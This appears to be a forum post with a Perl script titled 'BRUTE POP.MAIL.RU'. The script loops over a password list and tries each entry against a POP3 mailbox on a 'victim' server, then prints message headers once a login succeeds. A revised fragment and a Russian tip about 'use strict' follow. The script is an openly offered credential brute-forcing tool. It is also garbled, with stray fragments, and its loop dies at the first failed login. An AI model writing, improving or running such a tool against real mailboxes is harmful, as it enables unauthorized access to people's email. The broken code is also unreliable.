function
#!/usr/bin/perl -w
use Net::POP3;
use Getopt::Std;
$|++;
getopt("aspwdvfl");
print "--------------------------------------------------\n";
print"BRUTE POP.MAIL.RU \n";
print "---------------------------------------------------\n";
$server=$opt_s || 'www.victim.com';
$account=$opt_a || "words";
$password=$opt_p || '/';
$debug=0 || $opt_v;
$logfile=$opt_f || 'log.txt';
print "Usage: [-s server] [-a account] [-f LogFile]\n";
open (file,"pass.txt");
while($line=<file>)
{
$status=pass($line);
}
close file;
sub pass {
$password=$line;
$socket = Net::POP3->new($server) or die "Unable to establish a POP3 connection to $server \n";
$socket->login($account,$password) or die "Unable to authenticate .\n";
$messages=$socket->list or die "Can't list messages: \n";
foreach $item (keys %$messages) {
$header = $socket->top($item);
print @$header;}}
файла pass.txt:
user
my $password=shift;
chomp($password);
my $socket = Net::POP3->new($server) or die "Unable to establish a POP3 connection to $server \n";
$socket->login($account,$password) or die "Unable to authenticate .\n";
my $messages=$socket->list or die "Can't list messages: \n";
my $item;
foreach $item (keys %$messages) {
$header = $socket->top($item);
print @$header;
}
}[/highlight]
PS:Используй use strict и use warnings как минимум во время отладки